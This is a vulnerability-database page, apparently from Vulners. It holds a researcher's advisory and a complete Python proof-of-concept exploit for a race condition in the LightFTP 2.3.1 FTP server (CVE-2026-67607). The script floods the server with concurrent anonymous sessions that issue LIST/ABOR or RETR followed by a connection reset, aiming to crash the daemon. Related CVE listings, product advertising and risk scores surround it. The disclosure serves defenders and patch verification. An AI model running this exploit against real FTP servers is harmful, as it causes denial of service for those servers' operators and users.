📄 LightFTP Server 2.3.1 Race Condition
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| CVE-2026-67607 | 31 Jul 202615:59 | – | attackerkb | |
| CVE-2024-11144 | 16 Dec 202419:02 | – | circl | |
| CVE-2026-67607 | 5 Aug 202612:15 | – | circl | |
| LightFTP 安全漏洞 | 16 Dec 202400:00 | – | cnnvd | |
| CVE-2024-11144 | 16 Dec 202417:00 | – | cve | |
| CVE-2026-67607 | 31 Jul 202615:59 | – | cve | |
| CVE-2024-11144 Race Condition with LightFTP | 16 Dec 202417:00 | – | cvelist | |
| CVE-2026-67607 LightFTP 2.3.1 Race Condition DoS via worker_thread_cleanup | 31 Jul 202615:59 | – | cvelist | |
| EUVD-2024-34248 | 3 Oct 202520:07 | – | euvd | |
| EUVD-2026-51558 | 31 Jul 202615:59 | – | euvd |
10
#!/usr/bin/env python3
#
#
# LightFTP Server 2.3.1 Race Condition
#
#
# Vendor: LightFTP Project
# Product web page: https://github.com/hfiref0x/LightFTP
# Affected version: 2.3.1
#
# Summary: Small x86-32/x64 FTP Server.
#
# Desc: LightFTP 2.3.1 contains a residual race condition (an incomplete
# fix for CVE-2024-11144) in the worker_thread_cleanup() function of ftpserv.c.
# The control thread reads and acts on shared per-connection state, including
# the worker thread id it then passes to pthread_join()/pthread_cancel(),
# without holding the context->MTLock mutex that the worker threads use when
# updating that same state; and because the workers are detached, their thread
# id can be reused once they exit. A remote (anonymous) client triggers the
# window by starting a data-transfer command such as LIST and immediately
# issuing ABOR, running the unsynchronized cleanup while the worker is still
# finishing. ThreadSanitizer confirms multiple data races on the shared context
# and a mutex being destroyed while still in use, and the cleanup joins or
# cancels a detached, potentially reused thread id, which is undefined behavior
# that can destabilize or crash the daemon and result in denial of service.
# The 2.3.1 patch only narrowed the timing window (an extra re-check and
# reordered cleanup); it never added the missing lock, so the underlying
# race remains.
#
# Tested on: Kali Linux
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2026-6001
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6001
#
# CVE ID: CVE-2026-67607
# CVE URL: https://www.cve.org/CVERecord?id=CVE-2026-67607
#
#
# 29.07.2026
#
import threading
import argparse
import struct
import socket
import time
_counter_lock = threading.Lock()
_rounds = 0
def _recv(sock, timeout=2.0):
sock.settimeout(timeout)
try:
return sock.recv(4096).decode("latin-1", "replace")
except OSError:
return ""
def _send(sock, line):
sock.sendall((line + "\r\n").encode())
def _pasv_port(resp):
try:
a = resp[resp.find("(") + 1: resp.find(")")].split(",")
if len(a) != 6:
return None
return (int(a[4]) << 8) + int(a[5])
except (ValueError, IndexError):
return None
def _hard_reset(sock):
try:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
struct.pack("ii", 1, 0))
sock.close()
except OSError:
pass
def _one_round(args):
c = socket.create_connection((args.host, args.port), timeout=5)
_recv(c) # banner
_send(c, "USER " + args.user); _recv(c)
_send(c, "PASS " + args.password); _recv(c)
_send(c, "TYPE I"); _recv(c)
_send(c, "PASV")
dport = _pasv_port(_recv(c))
if not dport:
c.close()
return
d = socket.create_connection((args.host, dport), timeout=5)
if args.mode == "drop":
_send(c, "RETR " + args.file)
time.sleep(args.gap)
_hard_reset(c)
try:
d.close()
except OSError:
pass
else:
_send(c, "LIST")
time.sleep(args.gap)
_send(c, "ABOR")
try:
d.close()
except OSError:
pass
_recv(c, timeout=3)
try:
_send(c, "QUIT"); c.close()
except OSError:
pass
def session(args, tid):
global _rounds
for _ in range(args.iterations):
try:
_one_round(args)
with _counter_lock:
_rounds += 1
except OSError:
break
def main():
p = argparse.ArgumentParser(description=__doc__,
formatter_class=argparse.RawDescriptionHelpFormatter)
p.add_argument("--host", default="127.0.0.1")
p.add_argument("--port", type=int, default=2121)
p.add_argument("--user", default="anonymous")
p.add_argument("--password", default="x")
p.add_argument("--connections", type=int, default=16)
p.add_argument("--iterations", type=int, default=20)
p.add_argument("--gap", type=float, default=0.0,
help="seconds to let the worker run before ABOR / RST")
p.add_argument("--mode", choices=["abor", "drop"], default="abor",
help="abor: LIST+ABOR (data-race path). "
"drop: RETR a large file then RST the control "
"connection (use-after-free-of-ctx path).")
p.add_argument("--file", default="big.bin",
help="file to RETR in drop mode (make it large, server-side)")
a = p.parse_args()
print("[*] mode=%s racing %s:%d with %d connections x %d iterations"
% (a.mode, a.host, a.port, a.connections, a.iterations))
threads = [threading.Thread(target=session, args=(a, i))
for i in range(a.connections)]
t0 = time.time()
for t in threads:
t.start()
for t in threads:
t.join()
print("[+] completed %d rounds in %.1fs" % (_rounds, time.time() - t0))
print(" watch gdb for SIGSEGV/SIGABRT (drop mode targets use-after-free "
"of the stack ctx); a server crash is the positive result.")
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Aug 2026 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 3.17.5
CVSS 49.2
EPSS0.00333
SSVC